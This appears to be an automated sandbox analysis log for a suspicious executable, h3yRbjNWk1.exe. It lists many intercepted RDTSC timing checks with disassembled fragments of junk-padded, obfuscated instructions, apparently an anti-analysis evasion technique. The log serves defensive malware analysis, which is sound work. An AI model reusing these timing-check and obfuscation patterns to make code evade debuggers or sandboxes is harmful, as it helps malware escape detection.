Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CD0F2F second address: 4CD0F66 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, bx 0x00000006 mov eax, ebx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebp 0x0000000c jmp 00007F97B4EC49C2h 0x00000011 mov dword ptr [esp], ebp 0x00000014 pushad 0x00000015 mov ebx, esi 0x00000017 mov ax, 6E59h 0x0000001b popad 0x0000001c mov ebp, esp 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 mov ax, dx 0x00000024 mov edx, 1F3133D0h 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CD0F66 second address: 4CD0F6D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cl, D6h 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CD0F6D second address: 4CD0F7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pop ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CD0F7B second address: 4CD0F7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CD0F7F second address: 4CD0F85 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CB058B second address: 4CB0591 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CB0591 second address: 4CB05BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov ebx, esi 0x0000000c jmp 00007F97B4EC49BCh 0x00000011 popad 0x00000012 xchg eax, ebp 0x00000013 pushad 0x00000014 mov eax, 067B31ADh 0x00000019 call 00007F97B4EC49BAh 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CB05BD second address: 4CB05F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 mov ebp, esp 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F97B4F2EDD8h 0x00000011 or cx, 9AA8h 0x00000016 jmp 00007F97B4F2EDCBh 0x0000001b popfd 0x0000001c mov edx, eax 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CB05F5 second address: 4CB0642 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4EC49C5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebp+08h] 0x0000000c pushad 0x0000000d jmp 00007F97B4EC49BCh 0x00000012 push eax 0x00000013 push edx 0x00000014 pushfd 0x00000015 jmp 00007F97B4EC49C0h 0x0000001a add ax, 2F68h 0x0000001f jmp 00007F97B4EC49BBh 0x00000024 popfd 0x00000025 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CB0642 second address: 4CB06B3 instructions: 0x00000000 rdtsc 0x00000002 mov bx, si 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 and dword ptr [eax], 00000000h 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F97B4F2EDD0h 0x00000012 add cl, FFFFFFC8h 0x00000015 jmp 00007F97B4F2EDCBh 0x0000001a popfd 0x0000001b pushfd 0x0000001c jmp 00007F97B4F2EDD8h 0x00000021 sbb cx, 8428h 0x00000026 jmp 00007F97B4F2EDCBh 0x0000002b popfd 0x0000002c popad 0x0000002d and dword ptr [eax+04h], 00000000h 0x00000031 pushad 0x00000032 mov bl, ah 0x00000034 call 00007F97B4F2EDD1h 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C9063A second address: 4C90661 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4EC49BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F97B4EC49C5h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C90661 second address: 4C906A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4F2EDD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F97B4F2EDCEh 0x00000010 pop ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F97B4F2EDD7h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C906A0 second address: 4C906A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CB00CA second address: 4CB00D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CB00D0 second address: 4CB0106 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, eax 0x00000005 jmp 00007F97B4EC49C6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e jmp 00007F97B4EC49C0h 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CB0106 second address: 4CB010A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CB010A second address: 4CB0126 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4EC49C8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CB0126 second address: 4CB0130 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 241E1384h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CB0130 second address: 4CB016F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebp 0x00000008 jmp 00007F97B4EC49C9h 0x0000000d mov ebp, esp 0x0000000f pushad 0x00000010 mov eax, 3EAC7813h 0x00000015 mov ax, 826Fh 0x00000019 popad 0x0000001a pop ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F97B4EC49BCh 0x00000024 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CB016F second address: 4CB017E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4F2EDCBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CD0735 second address: 4CD073B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CD073B second address: 4CD0798 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a jmp 00007F97B4F2EDCFh 0x0000000f movzx eax, bx 0x00000012 popad 0x00000013 mov ebp, esp 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007F97B4F2EDD1h 0x0000001c jmp 00007F97B4F2EDCBh 0x00000021 popfd 0x00000022 push ecx 0x00000023 pushad 0x00000024 popad 0x00000025 pop edi 0x00000026 popad 0x00000027 xchg eax, ecx 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F97B4F2EDD7h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CD0798 second address: 4CD0836 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F97B4EC49BFh 0x00000009 add ax, 129Eh 0x0000000e jmp 00007F97B4EC49C9h 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007F97B4EC49C0h 0x0000001a and ch, FFFFFF98h 0x0000001d jmp 00007F97B4EC49BBh 0x00000022 popfd 0x00000023 popad 0x00000024 pop edx 0x00000025 pop eax 0x00000026 push eax 0x00000027 pushad 0x00000028 push edx 0x00000029 jmp 00007F97B4EC49C2h 0x0000002e pop ecx 0x0000002f pushfd 0x00000030 jmp 00007F97B4EC49BBh 0x00000035 add si, 0A0Eh 0x0000003a jmp 00007F97B4EC49C9h 0x0000003f popfd 0x00000040 popad 0x00000041 xchg eax, ecx 0x00000042 push eax 0x00000043 push edx 0x00000044 push eax 0x00000045 push edx 0x00000046 pushad 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CD0836 second address: 4CD083A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CD083A second address: 4CD0840 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CD0840 second address: 4CD0846 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CD0846 second address: 4CD0891 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [76FB65FCh] 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F97B4EC49C6h 0x00000014 jmp 00007F97B4EC49C5h 0x00000019 popfd 0x0000001a mov ch, DEh 0x0000001c popad 0x0000001d test eax, eax 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 mov ebx, ecx 0x00000024 mov ecx, 11692BC7h 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CD0891 second address: 4CD0897 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CD0897 second address: 4CD08E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4EC49BFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007F9827127A70h 0x00000011 jmp 00007F97B4EC49C6h 0x00000016 mov ecx, eax 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F97B4EC49C7h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CD08E3 second address: 4CD08F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, ax 0x00000006 mov edi, ecx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xor eax, dword ptr [ebp+08h] 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CD08F7 second address: 4CD090B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4EC49C0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CD09C1 second address: 4CD09C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CD09C6 second address: 4CD09EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4EC49C5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F97B4EC49BDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CD09EF second address: 4CD0A1D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4F2EDD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F97B4F2EDD1h 0x0000000f xchg eax, ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CD0A1D second address: 4CD0A21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CD0A21 second address: 4CD0A25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CD0A25 second address: 4CD0A2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CD0A2B second address: 4CD0A31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C80022 second address: 4C800A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4EC49C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F97B4EC49C1h 0x0000000f xchg eax, ebp 0x00000010 jmp 00007F97B4EC49BEh 0x00000015 mov ebp, esp 0x00000017 pushad 0x00000018 mov cl, 73h 0x0000001a pushfd 0x0000001b jmp 00007F97B4EC49C3h 0x00000020 add cx, 898Eh 0x00000025 jmp 00007F97B4EC49C9h 0x0000002a popfd 0x0000002b popad 0x0000002c and esp, FFFFFFF8h 0x0000002f jmp 00007F97B4EC49BEh 0x00000034 xchg eax, ecx 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C800A9 second address: 4C800AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C800AD second address: 4C800CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4EC49C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C800CA second address: 4C800E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, ebx 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F97B4F2EDCBh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C800E0 second address: 4C800E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C800E6 second address: 4C80152 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4F2EDCBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ecx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F97B4F2EDD4h 0x00000013 or esi, 0DE71328h 0x00000019 jmp 00007F97B4F2EDCBh 0x0000001e popfd 0x0000001f pushfd 0x00000020 jmp 00007F97B4F2EDD8h 0x00000025 sub esi, 1C4B4588h 0x0000002b jmp 00007F97B4F2EDCBh 0x00000030 popfd 0x00000031 popad 0x00000032 xchg eax, ebx 0x00000033 pushad 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C80152 second address: 4C801A3 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F97B4EC49C0h 0x00000008 sub ecx, 5DF827E8h 0x0000000e jmp 00007F97B4EC49BBh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 mov dx, ax 0x00000019 popad 0x0000001a push eax 0x0000001b jmp 00007F97B4EC49C5h 0x00000020 xchg eax, ebx 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F97B4EC49BDh 0x00000028 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C801A3 second address: 4C8020A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F97B4F2EDD7h 0x00000008 push eax 0x00000009 pop ebx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ebx, dword ptr [ebp+10h] 0x00000010 jmp 00007F97B4F2EDD2h 0x00000015 xchg eax, esi 0x00000016 jmp 00007F97B4F2EDD0h 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f mov si, 5E13h 0x00000023 call 00007F97B4F2EDD8h 0x00000028 pop ecx 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C8020A second address: 4C802B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4EC49C0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007F97B4EC49C0h 0x0000000f mov esi, dword ptr [ebp+08h] 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F97B4EC49BEh 0x00000019 and ch, 00000028h 0x0000001c jmp 00007F97B4EC49BBh 0x00000021 popfd 0x00000022 mov edx, esi 0x00000024 popad 0x00000025 xchg eax, edi 0x00000026 jmp 00007F97B4EC49C2h 0x0000002b push eax 0x0000002c pushad 0x0000002d pushfd 0x0000002e jmp 00007F97B4EC49C1h 0x00000033 and ch, FFFFFFF6h 0x00000036 jmp 00007F97B4EC49C1h 0x0000003b popfd 0x0000003c push eax 0x0000003d push edx 0x0000003e pushfd 0x0000003f jmp 00007F97B4EC49BEh 0x00000044 xor ch, 00000018h 0x00000047 jmp 00007F97B4EC49BBh 0x0000004c popfd 0x0000004d rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C802B0 second address: 4C80341 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4F2EDD8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xchg eax, edi 0x0000000b pushad 0x0000000c mov edx, esi 0x0000000e mov bx, ax 0x00000011 popad 0x00000012 test esi, esi 0x00000014 jmp 00007F97B4F2EDD4h 0x00000019 je 00007F98271DD0F0h 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 pushfd 0x00000023 jmp 00007F97B4F2EDCDh 0x00000028 sbb cx, FBC6h 0x0000002d jmp 00007F97B4F2EDD1h 0x00000032 popfd 0x00000033 pushfd 0x00000034 jmp 00007F97B4F2EDD0h 0x00000039 jmp 00007F97B4F2EDD5h 0x0000003e popfd 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C80341 second address: 4C8036C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4EC49C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F97B4EC49BDh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C8036C second address: 4C803B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, di 0x00000006 pushfd 0x00000007 jmp 00007F97B4F2EDD3h 0x0000000c add esi, 5C363DBEh 0x00000012 jmp 00007F97B4F2EDD9h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b je 00007F98271DD048h 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C803B5 second address: 4C803B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C803B9 second address: 4C803BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C803BD second address: 4C803C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C803C3 second address: 4C803C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C803C9 second address: 4C803CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C803CD second address: 4C803D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C803D1 second address: 4C8043D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edx, dword ptr [esi+44h] 0x0000000b pushad 0x0000000c mov eax, 5A97AC85h 0x00000011 movzx ecx, dx 0x00000014 popad 0x00000015 or edx, dword ptr [ebp+0Ch] 0x00000018 jmp 00007F97B4EC49BDh 0x0000001d test edx, 61000000h 0x00000023 jmp 00007F97B4EC49BEh 0x00000028 jne 00007F9827172C34h 0x0000002e jmp 00007F97B4EC49C0h 0x00000033 test byte ptr [esi+48h], 00000001h 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007F97B4EC49C7h 0x0000003e rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C8043D second address: 4C80443 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C80443 second address: 4C8045D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007F9827172C0Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F97B4EC49BAh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C7088C second address: 4C70892 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C70892 second address: 4C708F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4EC49BEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F97B4EC49BDh 0x00000013 xor ax, 4AE6h 0x00000018 jmp 00007F97B4EC49C1h 0x0000001d popfd 0x0000001e pushfd 0x0000001f jmp 00007F97B4EC49C0h 0x00000024 and si, A688h 0x00000029 jmp 00007F97B4EC49BBh 0x0000002e popfd 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C708F0 second address: 4C70908 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F97B4F2EDD4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C70908 second address: 4C7090C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C7090C second address: 4C70944 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F97B4F2EDCEh 0x0000000e xchg eax, ebp 0x0000000f jmp 00007F97B4F2EDD0h 0x00000014 mov ebp, esp 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F97B4F2EDCAh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C70944 second address: 4C70948 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C70948 second address: 4C7094E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C7094E second address: 4C70971 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4EC49BEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and esp, FFFFFFF8h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F97B4EC49BAh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C70971 second address: 4C70980 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4F2EDCBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
